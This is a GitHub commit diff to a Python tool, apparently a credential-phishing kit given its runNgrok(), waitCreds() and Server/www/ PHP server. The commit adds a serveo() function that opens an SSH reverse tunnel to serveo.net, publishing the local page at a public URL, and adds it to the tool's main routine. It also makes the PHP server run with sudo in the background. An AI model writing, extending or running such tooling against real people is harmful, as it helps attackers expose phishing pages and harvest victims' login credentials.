added serveo (ssh tunneling) (#74)

This commit is contained in:
Usama Abdul Sattar 2018-07-28 12:00:42 +05:00 committed by GitHub
parent b42d2d3691
commit f53c2c260d
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -284,9 +284,34 @@ def runNgrok():
url = open('ngrok.url', 'r')
print("\n {0}[{1}*{0}]{1} Ngrok URL: {2}".format(CYAN, END, GREEN) + url.read() + "{1}".format(CYAN, END, GREEN))
url.close()
def serveo():
system('ssh -R 80:localhost:1111 serveo.net > sendlink.txt 2> /dev/null & ')
sleep(4)
f = open('sendlink.txt', 'r')
a = ['', 'Forwarding', 'HTTP', 'traffic', 'from', '', ' ']
lst = []
for line in f:
for word in a:
if word in line:
line = line.replace(word,'')
lst.append(line)
f.close()
f = open('sendlink.txt','w')
for line in lst:
f.write(line)
f.close()
url = open('sendlink.txt', 'r')
print("\n {0}[{1}*{0}]{1} SERVEO URL: {2}".format(CYAN, END, GREEN) + url.read() + "{1}".format(CYAN, END, GREEN))
url.close()
system('rm sendlink.txt')
def runServer():
system("cd Server/www/ && php -S 127.0.0.1:1111")
system("cd Server/www/ && sudo php -n -S 127.0.0.1:1111 > /dev/null 2>&1 &")
@ -294,6 +319,7 @@ if __name__ == "__main__":
try:
runPEnv()
runNgrok()
serveo()
multiprocessing.Process(target=runServer).start()
waitCreds()
@ -302,5 +328,6 @@ if __name__ == "__main__":
except KeyboardInterrupt:
system('pkill -f ngrok')
system('pkill -f ssh')
end()
exit(0)